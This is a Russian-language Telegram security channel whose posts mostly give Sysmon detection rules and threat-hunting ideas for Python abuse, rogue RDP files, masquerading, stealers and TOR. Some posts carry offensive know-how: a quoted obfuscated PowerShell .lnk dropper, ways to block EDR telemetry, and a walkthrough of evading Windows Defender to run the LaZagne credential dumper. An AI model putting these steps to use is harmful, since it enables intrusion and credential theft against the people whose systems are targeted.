Detection is easy
1.03K subscribers
71 photos
2 videos
8 files
176 links
chat: https://t.me/+BF4T6DOGv_UwYTBi
contact: @siemmanager
email: manager@detectioneasy.ru
Download Telegram
🔤🔤 Этап 1 — Формирование требований

Привет всем 😏! Сегодня продолжаем тему Detection Engineering. Мы уже разобрали источники требований на разработку контента обнаружения в компании World of Detection, и рассмотрели пример организации этого процесса.

Для формирования требований на разработку правил обнаружения можно использовать платформы для управления проектами или Help Desk. Важно ❗️организовать процесс подачи запросов на создание правил, а также проверку, что такое правило ещё не существует.

Это особенно критично ☝️, если внедрением SIEM/EDR/XDR/NTA/NDR/IDS (и других решений, где используются правила) занимается сторонняя организация. Вы должны чётко понимать, какие правила уже применяются, и каково покрытие актуальных для вас уязвимостей и TTP, они обеспечивают. Это поможет избежать пробелов в обнаружении угроз.

Формирование требований и создание задач на разработку правил может быть организовано в разных системах или проектах. Такое разделение можно обосновать необходимостью ограничения доступа к контенту, который используется для обнаружения.

Отдельная проблема — поддержка контроля версий контента. Не все SIEM позволяют писать контент в виде кода 🤨. Некоторые предлагают только конструктор правил, что усложняет управление версиями и отслеживание изменений.

Итак, у организации World of Detection должна быть возможность:

🔤 Формировать запросы на разработку правил в какой-либо платформе
🔤 Понимать, какие правила уже используются
🔤 Обеспечивать контроль версий

#ttp@detectioneasy
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥2🍌2
Использование Python 🐍 для компрометации систем всем известная техника. Для ее реализации необходимо приносить интерпретатор (если его еще нет😁) или компилировать скрипт в исполняемый на целевой машине формат.

Небольшой обзор применения Python-скриптов

Сможем обнаружить вовремя?) 🔭

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥2🍌2
А вы знаете в чем отличие между python.exe и pythonw.exe ⁉️
pythonw.exe - позволяет запускать скрипты без открытия окна консоли, что не привлечет внимания пользователя.

Что с обнаружением?) Ничего сверхъестественного 🪄 мы не увидим, но нужно профилировать, особенно, если у вас ведется разработка ПО на python.

🔤 обнаруживаем создание файлов py? или python

ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and (TargetFilename = "?:\Users\.*\.py.?" or TargetFilename = "?:\Users\.*\\python.?\.exe")


🔤 обнаруживаем в аргументах командой строки python

ProviderName="Microsoft-Windows-Sysmon" and EventId = 1 and CommandLine = «.*\\python.?\.exe"


🔤 обнаруживаем запуск переименованного интерпретатора python

ProviderName="Microsoft-Windows-Sysmon" and OriginalFileName = "python.?" and Image != ".*\\python.?\.exe"


🔤 обнаруживаем запуск интерпретатора python

ProviderName="Microsoft-Windows-Sysmon" and Image = ".*\python.?\.exe" and OriginalFileName = "python.?"


Правила общие, при использовании скриптов для автоматизации можно похантить отличия запускаемых файлов, и проверять хеши скриптов, чтобы предотвратить внедрение в них вредоносного кода

#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥3🍌3
Как называется метод, когда хакеры приносят свой интерпретатор на хост?🗑
Anonymous Quiz
20%
BYOS
20%
BYOD
8%
BYOE
52%
BYOI
😁51👍1
🔤🔤 Этап 2 — Сортировка требований на разработку

Всем привет 👋!
Продолжаем формировать процесс Detection Engineering в компании World of Detection. К этому моменту у нас уже внедрен трекер задач для учета и ведется активная разработка и доработка правил обнаружения. Однако аналитики не успевают справляться с поступающими задачами.

Рассмотрим ситуацию)
У компании World of Detection используется Exchange, а OWA (Outlook Web Access) доступна из интернета. В трекер задач поступил запрос на разработку правила для обнаружения эксплуатации уязвимости 🤬 (unauth RCE via OWA), эксплойт для которой доступен на GitHub. Администраторы сообщили, что обновление системы в данный момент невозможно, и придется ждать выходных. Тем временем аналитики продолжают разбирать поступающие запросы, и неизвестно, когда они доберутся до задачи, связанной с Exchange.

Хакеры 😈, естественно, воспользовались уязвимостью, взломали почтовый сервер, проникли во внутреннюю сеть и зашифровали часть инфраструктуры.

Когда начали разбираться, почему уязвимость не была обнаружена своевременно, выяснилось, что запрос на разработку правила уже был в трекере. Аналитики еще раз пояснили, что обрабатывают задачи по мере их поступления, без какой-либо фильтрации или приоритизации.

Что мы упустили?
Один из ключевых этапов — triage (сортировка и приоритизация задач). В созданной нами ранее карточки не предусмотрено поле для критичности (срочности).

Далее я рассмотрю один из способов расчета критичности для задачи на разработку правил обнаружения. Этот способ не является панацеей, и у каждой компании может быть свой подход к определению критичности и срочности разработки правил.

#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍43🔥3
Неплохой вариант для фишинга 🧐?)

Что же нам делать?)

🔤 По старинке, смотрим создавались ли у нас файлы с расширением theme


ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename = "?:\Users\.*\.theme"


🔤 Обращение explorer.exe и rundll32.exe на 445 порт за пределы сети

ProviderName="Microsoft-Windows-Sysmon" and EventId = 3 and DestinationIp not in [10.0.0.0/8
, 172.16.0.0/12, 169.254.0.0/16] and DestinationPort = 445 and (Image endswith "explorer.exe" or Image endswith "rundll32.exe")


🔤 Загрузка DLL с удаленного ресурса

ProviderName="Microsoft-Windows-Sysmon" and EventId = 10 and Image endswith "rundll32.exe" and ImageLoaded startswith = '\\\\'


Хочется верить, что уже у всех закрыт доступ по WebDAV и SMB за пределы корпоративной сети)

#ttp@detectioneasy
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥3👏2🍌1
Наткнулся на удобную утилиту для извлечения и расшифровки 😎😈 данных браузера (macOS, Windows, Linux).

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
😱5👍1😁1
Всем привет 👋)
Популярна тема скрытия от обнаружения, для этого нам нужно, чтобы телеметрия от хоста не дошла до сервера управления

И мне кажется топ самых простых способов:

🔤 DNS-Sinkhole, добавляем имя сервера управления в hosts и указываем ему адрес 127.0.0.1 😱

🔤 Хостовой МСЭ, добавим правило, блокирующее доступ до адреса сервера управления 🔥

🔤 Таблица маршрутизации) мы можем сделать blackhole route 🛣

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍3👏21
Всем привет 🙂
Еще один пример использования *.lnk для доставки 💼 малвари и скрытия своих действий)

powershell -windowstyle hidden ($o)bf_lnkpath = Get-Child(It)em *.lnk ^| where(-)object {$_.length -eq 0(0)395530} ^| Select-Object -Exp(a)ndProperty FullName;$o(b)f_file = [system.io(.)file]::ReadAll(B)ytes($obf_lnkpath);$obf_path = '%TEMP%\tmp'(+)(Get-Random)+'(.)zip';$obf_path = [Envir(o)nment]::Expa(n)dEnvironmentVa(r)iables($obf_path);$obf_dir = [System.IO(.)Path]::GetDire(c)toryName($obf_path);[Syste(m).IO.File]::WriteA(l)lBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA Sile(n)tlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyCo(n)tinue -Force ^| Out-Null;^& .\svchost(.)exe


Компания World of detection, больше не боится такого поведения 😁

Примеры обнаружения были ранее 🔭 но хакеры использовали ещё одну технику 😎

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍43🔥3
Я часто упоминаю события Sysmon, думаю многие с ними знакомы 🙃

Для начинающих специалистов будет полезна статья с разбором каждого события 😎

#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍31🔥1
Израильский CERT выпустил отчет о работе стиллеров с советами по обнаружению 🔭)

🔤 Топ событий Sysmon, которых достаточно для обнаружения, по их мнению:

🔤 EventID 1 - создание процессов
🔤 EventID 3 - создание сетевого соединения
🔤 EventID 11 - создание файла
🔤 EventID 12 - создание или удаление ключа реестра
🔤 EventID 13 - установка значения для реестра
🔤 EventID 15 - создание ADS NTFS
🔤 EventID 22 - DNS-запрос

🔤 Еще они поделились несколькими правилами для обнаружения, давайте рассмотрим их

🔤 - загрузка легитимных библиотек, детект строят на логах прокси или nta, и обнаруживают совпадение по названиям системных dll

uri="*msvcp140.dll" 
OR uri="*vcruntime140.dll"
OR uri="*mozglue.dll"
OR uri="*freebl3.dll"
OR uri="*softokn3.dll"
OR uri="*nss3.dll"
OR uri="*sqlite3.dll"


⚠️ мы можем добавить другой детект, на основе события Sysmon EventID=15

TargetFileName="*msvcp140.dll:Zone.Identifier" 
OR TargetFileName="*vcruntime140.dll:Zone.Identifier"
OR TargetFileName="*mozglue.dll:Zone.Identifier"
OR TargetFileName="*freebl3.dll:Zone.Identifier"
OR TargetFileName="*softokn3.dll:Zone.Identifier"
OR TargetFileName="*nss3.dll:Zone.Identifier"
OR TargetFileName="*sqlite3.dll:Zone.Identifier"


🔤 - использование сервисов для проверки своего IP, мы будем использовать Sysmon EventID 22, также можем искать в логах NTA или IDS


EventID=22 AND QueryName IN ["*wtfismyip.com", "*checkip.*",
"*ipecho.net",
"*ipinfo.io",
"*api.ipify.org",
"*icanhazip.com",
"*ip.anysrc.com",
"*api.ip.sb",
"ident.me",
"www.myexternalip.com",
"*zen.spamhaus.org",
"*cbl.abuseat.org",
"*b.barracudacentral.org",
"*dnsbl-1.uceprotect.net",
"*spam.dnsbl.sorbs.net",
"*iplogger.org*",
"*ip-api.com*",
"*geoip.*"]


🔤 Эксфильтрация данных, тут уже придумали 1001 и способ как вынести нужную информацию из корпоративной сети. Есть фреймворк Living Off Trusted Sites в нем собирают ресурсы, которые можно использовать для эксфильтрации. Способ обнаружения, как выше, но с другими ресурсами.

🔤 Обнаружение подозрительных user-agents, они обнаруживают только user_agent="*powershell*" OR
user_agent="*curl*"
, мы можем добавить сюда еще user_agent="*bits*" , user_agent="*wget*"

🔤 Создание архивов, через консольные утилиты, рассмотрены не все способы, они делают упор на 7z:


CommandLine = "'7z.exe a .*


#ttp@detectioneasy
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3👍2👏2🤨1
У 7z обнаружена новая уязвимость - CVE-2025-0411 ⚠️, которая не распространяет метку MotW, на разархивированные файлы. Разработчики исправили уязвимость в новой версии приложения

Уязвимость может использоваться в фишинговых кампаниях 📩, при открытии файла у пользователя не будет предупреждения от SmartScreen 😈

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
3😁2👍1
В посте раннее, я упомянул про использование еще одной техники - Masquerading: Match Legitimate Name or Location.

⚠️ Masquerading: Match Legitimate Name or Location — это техника, которая используется злоумышленниками для маскировки вредоносных файлов или процессов под легитимные.

В том примере создается файл с именем svchost.exe , которое совпадает с именем системного файла Windows.

🔤 Как это работает

Злоумышленники создают файлы или процессы с именами, которые совпадают с именами системных файлов (например, svchost.exe, explorer.exe, lsass.exe)


🔭 Обнаружение

🔤 Для обнаружения такого поведения, мы можем отслеживать запуск процессов (нужно иметь список системных файлов) не из системных дирректорий


EventId=1 and Image != ".?:\\Windows\\" and (Image endswith "smss.exe" OR
Image endswith "ntoskrnl.exe" OR
Image endswith "crmss.exe" OR
Image endswith "wininit.exe" OR
Image endswith "winlogon.exe" OR
Image endswith "services.exe" OR
Image endswith "lsaiso.exe" OR
Image endswith "lsass.exe" OR
Image endswith "spoolsv.exe" OR
Image endswith "dllhost.exe" OR
Image endswith "lsm.exe" OR
Image endswith "svchost.exe" OR
Image endswith "runtimebroker.exe" OR
Image endswith "taskhostw.exe" OR
Image endswith "userinit.exe")


Еще хакеры любят называть процессы под имена средств защиты, особенно под Windows Defender 😄

🔤 Другой вариант, записать хеши системных файлов в таблицу (их мы можем взять, например из события Sysmon EventID=1). Если имя запускаемого процесса совпадает, с именем из таблицы - сравнивать хеш. Стоит учесть, что при обновлении ПО - хеши системных файлов будут меняться

🔤 Можем проверять наличие цифровой подписи у файла, с именем из списка системных файлов

🔤 Создание нового файла с системным именем


EventId=11 and
(TargetFilename endswith "smss.exe" OR
TargetFilename endswith "ntoskrnl.exe" OR
TargetFilename endswith "crmss.exe" OR
TargetFilename endswith "wininit.exe" OR
TargetFilename endswith "winlogon.exe" OR
TargetFilename endswith "services.exe" OR
TargetFilename endswith "lsaiso.exe" OR
TargetFilename endswith "lsass.exe" OR
TargetFilename endswith "spoolsv.exe" OR
TargetFilename endswith "dllhost.exe" OR
TargetFilename endswith "lsm.exe" OR
TargetFilename endswith "svchost.exe" OR
TargetFilename endswith "runtimebroker.exe" OR
TargetFilename endswith "taskhostw.exe" OR
TargetFilename endswith "userinit.exe")


🔤 Создание ADS NTFS


EventId=15 and (
TargetFilename endswith "smss.exe:Zone.Identifier" OR
TargetFilename endswith "ntoskrnl.exe:Zone.Identifier" OR
TargetFilename endswith "crmss.exe:Zone.Identifier" OR
TargetFilename endswith "wininit.exe:Zone.Identifier" OR
TargetFilename endswith "winlogon.exe:Zone.Identifier" OR
TargetFilename endswith "services.exe:Zone.Identifier" OR
TargetFilename endswith "lsaiso.exe:Zone.Identifier" OR
TargetFilename endswith "lsass.exe:Zone.Identifier" OR
TargetFilename endswith "spoolsv.exe:Zone.Identifier" OR
TargetFilename endswith "dllhost.exe:Zone.Identifier" OR
TargetFilename endswith "lsm.exe:Zone.Identifier" OR
TargetFilename endswith "svchost.exe:Zone.Identifier" OR
TargetFilename endswith "runtimebroker.exe:Zone.Identifier" OR
TargetFilename endswith "taskhostw.exe:Zone.Identifier" OR
TargetFilename endswith "userinit.exe:Zone.Identifier")


#ttp@detectioneasy
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥4🍌3🎄1
Всем привет!) 👋

Продолжим тему с фишингом 💌, компания Innostage поделилась техникой с помощью которой их хотели взломать - rogue rdp

🔤 Пользователю на почту приходит письмо с файлом *.rdp
🔤 Пользователь открывает файл и подключается к удаленному серверу

Казалось бы ничего страшного произойти не может 💀

*.rdp - это текстовый конфигурационный файл для клиента rdp, злоумышленники формируют его с введеной учетной записью, и включенными настройками для перенаправления локальных устройств.

При подключении к серверу, локальные диски пользователя монтируются на удаленную машину, которая под контролем плохих парней 😠 дальше они могут взаимодействовать с файловой системой, например как в статье Innostage, создать закреп в директории автозагрузки

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍3🍌3
Detection is easy
Всем привет!) 👋 Продолжим тему с фишингом 💌, компания Innostage поделилась техникой с помощью которой их хотели взломать - rogue rdp 🔤 Пользователю на почту приходит письмо с файлом *.rdp 🔤 Пользователь открывает файл и подключается к удаленному серверу…
Как мы можем защититься от рассылок *.rdp файлов ✉️?)

🔤 блокировать на почтовом шлюзе вложения - *.rdp

🔤 ограничить сетевой доступ по rdp вне корпоративной сети (можно межстевым экраном винды 💻)

🔤 ограничить групповой политикой возможности rdp (монтирование дисков, буфер обмена и т.п.)


Computer Configuration\
Administrative Templates\
Windows Components\
Remote Desktop Services\
Remote Desktop Session Host


Как будем обнаруживать 🔭

🔤 соединение процесса mstsc.exe на удаленный сервер


ProviderName="Microsoft-Windows-Sysmon" and EventId = 3 and DestinationIp not in [10.0.0.0/8
, 172.16.0.0/12, 169.254.0.0/16] and Image endswith "mstsc.exe"


🔤 создание файла *.rdp


ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFilename endswith ".rdp"


🔤 создание файлов процессом mstsc.exe


ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and Image endswith "mstsc.exe"


#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍3🍌3
Всем привет 🙃 Добьем тему с rogue rdp)

Несколько материалов для изучения:

🔤 утилита для реализации MiTM RDP, позволяет проксировать соединение на rdp-сервера злоумышленников

🔤 пример использования со стороны RedTeam

🔤 обзор атаки от blackhillsinfosec

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍32🍌1
Эксфильтровать данные на свои сервера слишком шумно?) 🎼

Ресурс lolc2 предлагает выбрать соцсеть через которую управлять маяком 👨‍💻, после выбора будут предложены C2 для работы

Контролируете доступ к ним?) ⛔️

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🍌3👍2😁1
Продолжим тему с Python 🐍

При использовании pyinstaller в режиме onefile , загрузчик создает директорию со следующем именем temppath/_MEIxxxxxx 🧐 можно поменять в исходниках))

swprintf(prefix, 16, L"_MEI%d", _getpid());


🔤 обнаруживаем создание файлов в директории _MEIxxxxxx 🔭

ProviderName="Microsoft-Windows-Sysmon" and  EventId = 11 and TargetFilename = "^[a-zA-Z]:\\.*_MEI\d+\\.*\.py.?$"


Я намеренно не стал хардкодить Temp, т.к. при сборке файла можно указать директорию для Runtime аргументом - runtime-tmpdir (на скрине пример)

#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍3🍌3
Привет! 👋

Продолжим тему, связанную с Python 🐍

Многие из вас, вероятно, слышали или использовали утилиту LaZagne. Это инструмент для извлечения учетных данных, написанный на Python 🐍.

В официальном релизе на GitHub LaZagne собранна с помощью PyInstaller.

Если попытаться запустить его, Windows Defender сразу же отреагирует - HackTool:Win32/LaZagne и удалит файл

Что можно сделать?)

🔤 первое, что я попробовал - это пересобрать релиз локально


pyinstaller.exe .\Windows\laZagne.py --onefile


После этого детект сменился на Trojan:Win32/Wacatac.B!ml ✌️ что может свидетельстовать о том, что сигнатура была изменена 😊

pyinstaller позволяет упаковать файл с помощью upx


pyinstaller.exe .\Windows\laZagne.py --onefile --upx-dir "C:\\upx-4.2.4-win64\"


но это не помогло обойти ML-движок Defender.

Я также пробовал использовать Nuitka для сборки, но это не дало желаемого результата.

🔤 В итоге всё просто, переименовываем зависимости, где используется lazagne на что-то другое и со спокойной душой дампим креды 💯

#ttp@detectioeasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥4🍌31
Cisco Talos выпустили обзор одной из вредоносных кампаний.

🔤 Атака начинается с фишинга, письмо содержит *.tgz архив с вредоносом внутри

🔤 Когда пользователь открывает архив ему нужно запустить исполняемый файл .NET loader

🔤 Loader, загружает PureCrypter с скомпрометированных сайтов по путям
/filescontentgalleries/
/pictorialcoversoffiles/
/post-postlogin/

как правило использовались следующие расширения для загрузки .pdf, .dat, .wav, .vdf, .mp3 и .mp4.

🔤 PureCrypter может запускать бэкдор TorNet, который взаимодействует с C2 и поддерживают работу через сеть TOR.

Малварь выполняет проверки на отладку, наличие антивируса, виртуализацию и песочницы, использует несколько уровней шифрования и в конце как обычно закрепляется в директории автозагрузки, в ключе реестра Run и в планировщике Windows 😂

⚠️ Рассмотрим подробнее работу с TOR. Атакующие подключают хост к сети tor для скрытия взаимодействия с C2. Они загружают с сайта https://arhcive.torproject.org архив, и запускают tor.exe, который позволяет использовать его в качестве socks5 proxy, по умолчанию на порту 9050

У tor.exe есть интересная возможность для закрепления - это tor Hidden Service, который позволяет прокинуть доступ к порту и получить имя *.onion

Можем похантить:

🔤 наличие файла torrc, tor.exe
🔤 prefetch TOR.*\.pf
🔤 наличие файлов private_key и hostname в одной директории
🔤 yara для поиска *.onion, HiddenServiceDir, HiddenServicePort, SocksPort
🔤 обращения или dns-запросы *.torproject.org, *.onion
🔤 наличие сокета 127.0.0.1:9050

#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥4😁2🍌1